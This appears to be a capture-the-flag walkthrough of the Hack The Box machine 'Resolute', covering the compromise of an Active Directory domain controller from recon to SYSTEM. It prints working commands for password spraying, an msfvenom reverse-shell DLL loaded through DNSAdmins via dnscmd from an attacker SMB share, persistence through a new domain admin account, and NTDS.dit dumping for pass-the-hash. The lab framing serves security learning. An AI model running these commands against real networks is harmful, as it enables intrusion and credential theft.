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HTB-Resolute

Sep 11, 20249 min read

Information Gathering

Rustscan

Based on the ports open, I can tell this machine is running on Active Directory.

┌──(yoon㉿kali)-[~/Documents/htb/resolute]
└─$ rustscan --addresses 10.10.10.169 --range 1-65535
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com
<snip>>
Host is up, received conn-refused (0.31s latency).
Scanned at 2024-03-18 22:27:16 EDT for 1s
 
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack
88/tcp    open  kerberos-sec     syn-ack
135/tcp   open  msrpc            syn-ack
139/tcp   open  netbios-ssn      syn-ack
389/tcp   open  ldap             syn-ack
445/tcp   open  microsoft-ds     syn-ack
464/tcp   open  kpasswd5         syn-ack
593/tcp   open  http-rpc-epmap   syn-ack
636/tcp   open  ldapssl          syn-ack
3268/tcp  open  globalcatLDAP    syn-ack
3269/tcp  open  globalcatLDAPssl syn-ack
5985/tcp  open  wsman            syn-ack
9389/tcp  open  adws             syn-ack
47001/tcp open  winrm            syn-ack
49664/tcp open  unknown          syn-ack
49665/tcp open  unknown          syn-ack
49666/tcp open  unknown          syn-ack
49667/tcp open  unknown          syn-ack
49671/tcp open  unknown          syn-ack
49678/tcp open  unknown          syn-ack
49679/tcp open  unknown          syn-ack
49684/tcp open  unknown          syn-ack
49881/tcp open  unknown          syn-ack
 
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds

Enumeration

SMB - TCP 445

I tried anonymous login to SMB but it wasn’t successful:

smbclient -N -L //10.10.10.169

Running crackmapexec, I discovered domain name megabank.local → Added to /etc/hosts

DNS - UDP/TCP 53

Using dig, I can confirm that megabank.local exists:

dig @10.10.10.169 megabank.local

I tried zone trasnfer but it failed:

dig axfr @10.10.10.169

LDAP - TCP 389/3268

I already know the domain name but I still queried for base namingcontexts: DC=megabank,DC=local

ldapsearch -H ldap://10.10.10.169 -x -s base namingcontexts

I tried null binding and luckily it worked!

ldapsearch -H ldap://10.10.10.169 -x -b "DC=megabank,DC=local"

However, output was too long so I first saved it to xp-bind.txt to be analyzed later:

ldapsearch -H ldap://10.10.10.169 -x -b "DC=megabank,DC=local" > xb-bind.txt

Analyzing LDAP outcome

Looking at the output, it was 6832 lines.

I used the command below to analyze the data, narrowing it down to 279 lines:

cat xb-bind.txt | awk '{print $1}' | sort | uniq -c | sort -nr > xb-bind-sorted.txt

I thoroughly went through the data but nothing useful was found other than sAMAccountName

cat xb-bind.txt| grep -i 'samaccountname' | awk '{print $2}'

With the command below, I created list of sAMAccountNames:

┌──(root㉿kali)-[/home/yoon/Documents/htb/resolute]
└─# cat xb-bind.txt| grep -i 'samaccountname' | awk '{print $2}' > sAMAccountNames.txt
Guest
DefaultAccount
Users
Guests
Remote
Network
Performance
Performance
Distributed
IIS_IUSRS
<snip>
marko
paulo
steve
annette
annika
per
claude
melanie
zach
simon
naoki

Now that I have list of account names, I was thinking of attempting on AS-REP Roasting if nothing else shows up on further enumeration.

RPC - TCP 135

I tried null login on RPC and luckily it worked:

rpcclient -U "" -N 10.10.10.169

Querying querydispinfo, I found a note saying Marko Novak has a password of Welcome123!:

querydispinfo

With this information, I can move on to password spraying rather than AS-REP Roasting.

Shell as melanie

Password Spraying

Knowing from above sAMAccountName that Marko Novak has account name as marko, I tried authenticating with the found password but it didn’t worked:

crackmapexec smb 10.10.10.169 -u marko -p Welcome123!

Since it failed, I tried on password spraying:

crackmapexec smb 10.10.10.169 -u sAMAccountNames.txt -p Welcome123!

After some time I found a valid match: melanie:Welcome123!

Checking Access

User melanie had access to smb:

crackmapexec smb 10.10.10.169 -u melanie -p Welcome123!

User melanie also had access to winrm:

crackmapexec winrm 10.10.10.169 -u melanie -p Welcome123!

Evil-Winrm

Now I have my first shell as user melanie!:

evil-winrm -i 10.10.10.169 -u melanie -p Welcome123!

Privesc melanie to ryan

Bloodhound

Since I know this machine is running on Active Directory, I first decided to run Bloodhound.

I first moved SharpHound.exe to my current folder and uploaded to evil-winrm connection:

upload SharpHound.exe

Running SharpHound.exe, I get a zip file which I can download to import it to Bloodhound.

./SharpHound.exe

With the zip file downloaded, I started neo4j and Bloodhound:

sudo neo4j console
bloodhound

I drag&drop the zip file in to bloodhound and first marked user melanie as owned.

As I always do, I first checked on OUTBOUND OBJECT CONTROL for user melanie but there was nothing:

Next I checked for Shortest Path from Owned Principal but it seemed not very interesting:

After looking around more, I decided user melanie has no Active Directory related privilege escalation vulnerabilities found → Local Enumeration!

Local Enumeration

Listing all the directories including hiddne ones on C:, I discovered PSTranscipts directory which I don’t usually see on other Windows systems:

gci -force

Looking inside, I discovered 2019103 folder and in there was PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:

type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt

*Evil-WinRM* PS C:\PSTranscripts\20191203> type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
 
**********************
Windows PowerShell transcript start
Start time: 20191203063201
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
Command start time: 20191203063455
**********************
PS>TerminatingError(): "System error."
>> CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
**********************
Command start time: 20191203063455
**********************
PS>ParameterBinding(Out-String): name="InputObject"; value="PS megabank\ryan@RESOLUTE Documents> "
PS megabank\ryan@RESOLUTE Documents>
**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
 
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }"
>> CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="Stream"; value="True"
**********************
Windows PowerShell transcript start
Start time: 20191203063515
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Out-String): "Out-String"
>> ParameterBinding(Out-String): name="InputObject"; value="The syntax of this command is:"
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (The syntax of this command is::String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
cmd : The syntax of this command is:
At line:1 char:1
+ cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (The syntax of this command is::String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
**********************
Windows PowerShell transcript start
Start time: 20191203063515
Username: MEGABANK\ryan
RunAs User: MEGABANK\ryan
Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0)
Host Application: C:\Windows\system32\wsmprovhost.exe -Embedding
Process ID: 2800
PSVersion: 5.1.14393.2273
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273
BuildVersion: 10.0.14393.2273
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************

Looking through the txt file, It seemed that it is revealing password for user ryan: Serv3r4Admin4cc123!

Evil-Winrm

Now I have a shell connection as user ryan:

sudo evil-winrm -i 10.10.10.169 -u ryan -p Serv3r4Admin4cc123!

Privesc ryan to Administrator

Bloodhound

Again uploaded and ran SharpHound.exe, downloaded the zip file and imported it into bloodhound:

upload SharpHound.exe
.\SharpHound.exe
download 20240318203422_BloodHound.zip

I can see that ryan is a member of contractors group:

Checking on OUTBOUND OBJECT CONTROL for contractors, there was one:

It seemed that contractors is a member of DNSAdmins group:

DNSAdmins Privilege Escalation

Searching for DNSAdmin Privilege Escalation, I had lot of articles popping up:

Out of all the articles, this article by hacking articles was the one that I found it most useful.

Execution

I first need to check whether user ryan is actually in DNSAdmins group; and yes, he is in DNSAdmins group:

whoami /groups

I created dll file that will spawn me reverse shell using msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.18 LPORT=443 -f dll -o rev.dll

There are several ways to transfer file to the target system but there is a possibility that malware scanner or Windows Defender might detect and remove it. Therefore, I used smbserver to transfer file over the network.

Now I host smbserver to have the dll file ready on it:

smbserver.py s .

Using dnscmd.exe, I can pass the dll code into the memory as SYSTEM:

dnscmd.exe /config /serverlevelplugindll \\10.10.14.18\s\rev.dll

Now only thing I have to do is to restart DNS:

sc.exe \\resolute stop dns

sc.exe \\resolute start dns

Now on my local listener, I have shell as the system:

nc -lvnp 443

Beyond Root

Above connection is a shell, but it is annoying to reproduce this procedure every time whenever needing a shell as SYSTEM. Below are some methods to maintain persistence within the system.

Adding Domain Admin User

I can simply create a new user and add the user in Domain Admins group as such:

net user jadu jadu101 /add
net group "Domain Admins" /add jadu

Now with evil-winrm, I can sign in as the created user:

Dumping NTDS.dit

I can dump NTDS.dit to obtain hashes for users and pass those hashes to gain connection to the machine.

Below command dumps SECURITY, SYSTEM, and NTDS.dit file to Temp folder which could be downloaded to dump password hashes:

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

On /Temp/registry, I have SECURITY and SYSTEM file which I download to local machine:

download SECURITY
download SYSTEM

On /Temp/Active-Directory, I have NTDS.dit file which I download to local machine as well:

download ntds.dit

Now with secretsdump, I can obtain bunch of password hashes:

root@~/tools/mitre/ntds# /usr/bin/impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local

I can try to crack these hashes, but it is not necessary. I can pass the NT part of the hashes to gain shell connection:

Here are more steps you can follow once you obtain hash for Administrator.

References

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